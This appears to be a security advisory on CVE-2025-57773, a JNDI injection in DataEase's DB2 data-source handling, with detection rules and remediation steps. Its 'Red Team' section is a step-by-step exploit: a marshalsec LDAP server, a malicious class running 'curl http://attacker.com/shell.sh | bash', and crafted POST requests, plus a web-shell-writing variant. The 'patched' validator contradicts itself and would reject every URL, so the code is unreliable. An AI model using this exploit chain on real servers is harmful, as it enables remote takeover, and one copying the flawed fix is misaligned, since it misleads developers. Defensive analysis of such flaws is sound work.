CVE-2025-57773

Executive Summary

CVE-2025-57773 is a critical JNDI injection vulnerability in DataEase, an open-source business intelligence and data visualization tool. The flaw exists in versions prior to 2.10.12 due to insufficient filtering of DB2 parameters. An attacker can exploit this by crafting a malicious JNDI lookup that triggers an AspectJWeaver deserialization attack, leading to arbitrary file writes. The attack requires the presence of commons-collections 4.x and aspectjweaver-1.9.22.jar in the classpath. Successful exploitation can result in remote code execution (RCE) and full system compromise. The vulnerability has been patched in version 2.10.12.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the DataEase Java application. The attack relies on specific third-party libraries (commons-collections and aspectjweaver) being present, which are common in Java ecosystems. Organizations should verify their DataEase deployments do not include these vulnerable libraries or upgrade to the patched version.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the technical details, a realistic assessment would be:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full file read/write possible.
• Integrity (I): High (H) – Arbitrary file write leads to code execution.
• Availability (A): High (H) – Can cause denial of service or system takeover.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in how DataEase handles DB2 database connection parameters. When a user configures a DB2 data source, the application does not properly sanitize the input parameters. An attacker can inject a JNDI (Java Naming and Directory Interface) lookup string into these parameters.

Attack Flow:

1. The attacker sends a crafted request to the DataEase API (e.g., /api/datasource/save) with a malicious DB2 connection string.
2. The application passes the unsanitized parameter to a JNDI lookup (e.g., InitialContext.lookup()).
3. The JNDI lookup resolves to an attacker-controlled LDAP or RMI server.
4. The attacker's server responds with a serialized Java object (e.g., CommonsCollections6 gadget chain).
5. The application deserializes the object, triggering the AspectJWeaver chain, which writes arbitrary files to the server's filesystem.
6. The attacker can write a web shell, modify configuration files, or execute commands.

Key Components:

• JNDI Injection: The initial vector.
• AspectJWeaver Deserialization: Used to bypass restrictions and achieve file write.
• commons-collections 4.x: Provides the necessary gadget chain for deserialization.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.10.12):

// In DataSourceServiceImpl.java
public void saveDataSource(DataSourceDTO dto) {
    String jdbcUrl = dto.getJdbcUrl();
    // No validation of jdbcUrl
    DataSource dataSource = createDataSource(jdbcUrl);
    // ...
}

private DataSource createDataSource(String jdbcUrl) {
    // Directly uses jdbcUrl in JNDI lookup
    Context ctx = new InitialContext();
    DataSource ds = (DataSource) ctx.lookup(jdbcUrl); // Vulnerable
    return ds;
}

Patched Code (2.10.12):

// In DataSourceServiceImpl.java
public void saveDataSource(DataSourceDTO dto) {
    String jdbcUrl = dto.getJdbcUrl();
    // Validate and sanitize the URL
    if (!isValidJdbcUrl(jdbcUrl)) {
        throw new IllegalArgumentException("Invalid JDBC URL");
    }
    DataSource dataSource = createDataSource(jdbcUrl);
    // ...
}

private boolean isValidJdbcUrl(String url) {
    // Whitelist allowed JDBC URL patterns
    return url != null && url.startsWith("jdbc:db2://") && !url.contains(":");
}

private DataSource createDataSource(String jdbcUrl) {
    // Use a connection pool instead of JNDI lookup
    BasicDataSource ds = new BasicDataSource();
    ds.setUrl(jdbcUrl);
    // ...
    return ds;
}

Key Differences:

• The patched version validates the JDBC URL to ensure it starts with jdbc:db2:// and does not contain colons (which are used in JNDI lookups).
• It replaces the JNDI lookup with a direct connection pool, eliminating the deserialization vector.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• DataEase version < 2.10.12
• Target server with commons-collections 4.x and aspectjweaver-1.9.22.jar in classpath
• Attacker-controlled LDAP/RMI server (e.g., using marshalsec)

Exploit Steps:

1. Set up malicious LDAP server:

   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
   

2. Create malicious class (Exploit.java):

   public class Exploit {
       static {
           try {
               Runtime.getRuntime().exec("curl http://attacker.com/shell.sh | bash");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }
   

3. Compile and host the class:

   javac Exploit.java
   python3 -m http.server 80
   

4. Send malicious request to DataEase:

   curl -X POST http://target:8080/api/datasource/save \
     -H "Content-Type: application/json" \
     -d '{
       "name": "malicious",
       "type": "db2",
       "jdbcUrl": "ldap://attacker.com:1389/Exploit"
     }'
   

5. Verify execution: Check for reverse shell or file write.

Alternative Payload (File Write via AspectJWeaver):

curl -X POST http://target:8080/api/datasource/save \
  -H "Content-Type: application/json" \
  -d '{
    "name": "malicious",
    "type": "db2",
    "jdbcUrl": "ldap://attacker.com:1389/FileWrite"
  }'

Where FileWrite class writes a web shell to /opt/dataease/webapps/ROOT/shell.jsp.

Blue Team (Defensive)

Detection:

• Monitor for unusual JDBC URL patterns in API requests (e.g., ldap://, rmi://, dns://).
• Alert on deserialization exceptions in logs (e.g., java.io.InvalidClassException).
• Use WAF rules to block JNDI-related keywords in request parameters.

Hunting:

• Search for InitialContext.lookup calls in application logs.
• Check for unexpected files in web-accessible directories (e.g., .jsp, .php).
• Review network connections to external LDAP/RMI servers.

Containment:

• Immediately isolate affected servers.
• Remove commons-collections and aspectjweaver JARs if not needed.
• Apply the patch or upgrade to version 2.10.12.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to ports 1389 (LDAP), 1099 (RMI), or 389 (LDAP) from DataEase server.
• HTTP requests containing ldap://, rmi://, or dns:// in the jdbcUrl parameter.
• Unusual DNS queries to attacker-controlled domains.

File IOCs:

• Unexpected files in /opt/dataease/webapps/ROOT/ (e.g., shell.jsp, cmd.jsp).
• Modified configuration files (e.g., application.properties).
• Presence of aspectjweaver-1.9.22.jar and commons-collections4-4.x.jar in the classpath.

Log IOCs:

• Java exceptions containing javax.naming.NameNotFoundException or java.io.InvalidClassException.
• Stack traces referencing AspectJWeaver or CommonsCollections.

Detection Engineering

YARA Rule

rule CVE_2025_57773_JNDI_Injection {
    meta:
        description = "Detects JNDI injection attempts in DataEase DB2 parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57773"
    strings:
        $jndi_pattern = /(ldap|rmi|dns|iiop):\/\// nocase
        $db2_param = "jdbcUrl" nocase
        $aspectj = "aspectjweaver" nocase
        $commons_collections = "commons-collections" nocase
    condition:
        $jndi_pattern and $db2_param and ($aspectj or $commons_collections)
}

Sigma Rule

title: CVE-2025-57773 JNDI Injection in DataEase
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects JNDI injection attempts via DB2 parameters in DataEase
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/datasource/save'
        cs-uri-query|contains: 
            - 'ldap://'
            - 'rmi://'
            - 'dns://'
    condition: selection
falsepositives:
    - Legitimate use of JNDI in internal networks (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57773 JNDI Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/datasource/save"; http_uri; content:"jdbcUrl"; http_client_body; pcre:"/(ldap|rmi|dns|iiop):\/\//Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade DataEase to version 2.10.12 or later.
2. Remove vulnerable libraries if not required: commons-collections4-4.x.jar and aspectjweaver-1.9.22.jar.
3. Apply WAF rules to block JNDI keywords (ldap://, rmi://, dns://) in API requests.

Long-term Measures:

• Implement input validation for all JDBC URLs (whitelist allowed patterns).
• Use connection pools instead of JNDI lookups for database connections.
• Regularly scan for vulnerable Java libraries using tools like OWASP Dependency-Check.
• Monitor for unusual outbound connections from application servers.

Patch Details:

• Official Fix: Upgrade to DataEase 2.10.12 (available at https://github.com/dataease/dataease/releases/tag/v2.10.12).
• Workaround: If upgrade is not possible, manually validate JDBC URLs in the application code to reject non-standard schemes.

Valters IT